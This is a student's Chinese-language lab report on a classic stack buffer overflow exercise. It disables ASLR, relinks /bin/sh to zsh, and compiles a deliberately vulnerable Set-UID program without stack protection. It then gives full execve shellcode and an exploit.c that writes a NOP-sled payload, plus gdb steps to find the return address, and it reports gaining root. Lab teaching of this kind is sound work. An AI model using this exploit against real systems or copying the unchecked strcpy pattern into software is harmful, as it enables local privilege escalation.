20181301刘天宁《信息安全系统设计与实现》缓冲区溢出漏洞实验

一、实验简介：

       缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况。这一漏洞可以被恶意用户利用来改变程序的流控制，甚至执行代码的任意片段。这一漏洞的出现是由于数据缓冲器和返回地址的暂时关闭，溢出会引起返回地址被重写。

 

二、实验准备：

       实验楼提供的是 64 位 Ubuntu linux，而本次实验为了方便观察汇编语句，我们需要在 32 位环境下作操作，因此实验之前需要做一些准备：输入命令安装一些用于编译 32 位 C 程序的软件包：

                            

 

 

 

 

 

三、实验步骤

1.初始设置

（1）Ubuntu 和其他一些 Linux 系统中，使用地址空间随机化来随机堆（heap）和栈（stack）的初始地址，这使得猜测准确的内存地址变得十分困难，而猜测内存地址是缓冲区溢出攻击的关键。因此本次实验中，我们使用以下命令关闭这一功能：

 

 

 

（2）此外，为了进一步防范缓冲区溢出攻击及其它利用 shell 程序的攻击，许多shell程序在被调用时自动放弃它们的特权。因此，即使你能欺骗一个 Set-UID 程序调用一个 shell，也不能在这个 shell 中保持 root 权限，这个防护措施在 /bin/bash 中实现。

linux 系统中，/bin/sh 实际是指向 /bin/bash 或 /bin/dash 的一个符号链接。为了重现这一防护措施被实现之前的情形，我们使用另一个 shell 程序（zsh）代替 /bin/bash。下面的指令描述了如何设置 zsh 程序：

设置zsh程序：

$sudo su
$cd /bin
$ rm sh
$ ln -s zsh sh
$ exit

 

 

 

 

 

 (3)输入命令“linux32”进入32位linux环境。输入 /bin/bash 使用bash：

 

 

 

总结的一些知识点：
sudo：linux系统管理指令。是允许系统管理员让普通用户执行一些或者全部的root命令的一个工具。这样不仅减少了root用户的登录和管理时间，同样也提高了安全性。sudo不是对shell的一个代替，它是面向每个命令的。
sudo命令大全：https://m.runoob.com/linux/linux-comm-sudo.html       

  sudo 与 su 之间的区别：

  sudo命令需要输入当前用户的密码。su命令需要输入root用户的密码。另外一个区别是其默认行为。sudo命令只允许使用提升的权限运行单个命令，而su命令会启动一个新的shell，同时允许使用root权限运行尽可能多的命令，直到明确退出登录。

详细区别：https://blog.csdn.net/suwu150/article/details/71554302?utm_medium=distribute.wap_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-1.wap_blog_relevant_no_pic&depth_1-utm_source=distribute.wap_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-1.wap_blog_relevant_no_pic

 

2.shellcode设置

一般情况下，缓冲区溢出会造成程序崩溃，在程序中，溢出的数据覆盖了返回地址。而如果覆盖返回地址的数据是另一个地址，那么程序就会跳转到该地址，如果该地址存放的是一段精心设计的代码用于实现其他功能，这段代码就是 shellcode。比如以下代码：

#include <stdio.h> 
int main() { 
    char *name[2];
    name[0] = "/bin/sh"; 
    name[1] = NULL; 
    execve(name[0], name, NULL); 
}

本次实验的 shellcode，就是刚才代码的汇编版本：

\x31\xc0\x50\x68"//sh"\x68"/bin"\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80

知识点：C语言 execve()函数使用方法：https://blog.csdn.net/chichoxian/article/details/53486131 （这篇博客我觉得写的很好，感兴趣的同学可以一起看看）

 

 

3.漏洞程序

 在 /tmp 目录下新建一个 stack.c 文件，并输入如下内容：

cd /tmp
vim stack.c

按 i 切换到插入模式，编辑stack.c:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int bof(char *str)
{
    char buffer[12];

    /* The following statement has a buffer overflow problem */ 
    strcpy(buffer, str);

    return 1;
}

int main(int argc, char **argv)
{
    char str[517];
    FILE *badfile;

    badfile = fopen("badfile", "r");
    fread(str, sizeof(char), 517, badfile);
    bof(str);

    printf("Returned Properly\n");
    return 1;
}

编译该程序，并设置SET-UID。

sudo su
gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c
chmod u+s stack
exit

 

知识点：GCC编译器有一种栈保护机制来阻止缓冲区溢出，所以在编译代码时需要用 –fno-stack-protector 关闭这种机制。 而 -z execstack 用于允许执行栈，-g 参数是为了使编译后得到的可执行文档能用 gdb 调试。

4.攻击程序

我们的目的是攻击刚才的漏洞程序，并通过攻击获得root权限。把以下代码保存为“exploit.c”文件，保存到/tmp目录下。代码如下：

/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

char shellcode[] =
    "\x31\xc0" //xorl %eax,%eax
    "\x50"     //pushl %eax
    "\x68""//sh" //pushl $0x68732f2f
    "\x68""/bin"     //pushl $0x6e69622f
    "\x89\xe3" //movl %esp,%ebx
    "\x50"     //pushl %eax
    "\x53"     //pushl %ebx
    "\x89\xe1" //movl %esp,%ecx
    "\x99"     //cdq
    "\xb0\x0b" //movb $0x0b,%al
    "\xcd\x80" //int $0x80
    ;

void main(int argc, char **argv)
{
    char buffer[517];
    FILE *badfile;

 
    strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");  //在buffer特定偏移处起始的四个字节覆盖sellcode地址
    strcpy(buffer + 100, shellcode);   //将shellcode拷贝至buffer，偏移量设为了 100

    /* Save the contents to the file "badfile" */
    badfile = fopen("./badfile", "w");
    fwrite(buffer, 517, 1, badfile);
    fclose(badfile);
}

注意上述代码，\x??\x??\x??\x?? 处需要改为 shellcode 保存在内存中的地址，因为发生溢出后这个位置要覆盖返回地址。而 strcpy(buffer+100,shellcode)，shellcode 保存在 buffer + 100 的位置。下面将介绍寻找这个 buffer 的地址。

现在我们要得到 shellcode 在内存中的地址，输入命令进入 gdb 调试：

gdb stack
disass main

esp中就是str的起始地址,所以在地址0x080484ee处设置断点。

b *0x080484ee
r
i r $esp

 

 

 

根据strcpy(buffer + 100,shellcode);可计算 shellcode 的地址为 0xffffd4c0(十六进制) + 0x64(100的十六进制) = 0xffffd524(十六进制)

 

修改exploit.c文件，将 \x??\x??\x??\x?? 修改为 \x24\xd5\xff\xff 并编译。

gcc -m32 -o exploit exploit.c

 

 

 5攻击结果

先运行攻击程序 exploit，再运行漏洞程序 stack，观察结果：

 

攻击成功！可见，通过攻击，获得了root 权限！

四、练习

1、按照实验步骤进行操作，攻击漏洞程序并获得 root 权限。

如上图所示，获得root权限

2、通过命令 sudo sysctl -w kernel.randomize_va_space=2 打开系统的地址空间随机化机制，重复用 exploit 程序攻击 stack 程序，观察能否攻击成功，能否获得root权限。

 

 

我做的时候命令行前面一直不对，时间也不是很多了，未能解决掉。不知道如何改成正确的命令行。

 五、实验感想

通过本次实验自己对缓冲区溢出有了更加深入的了解。也通过查阅资料学到了一些关于Linux命令行的小知识，收获很大。我在做实验后对zsh这个shell作为脚本语言有些感兴趣，在查阅资料的时候发现现在是zsh和bash比较流行就找了找zsh和bash究竟有何不同：我个人感觉这篇博客写的不错https://blog.csdn.net/lixinze779/article/details/81012318。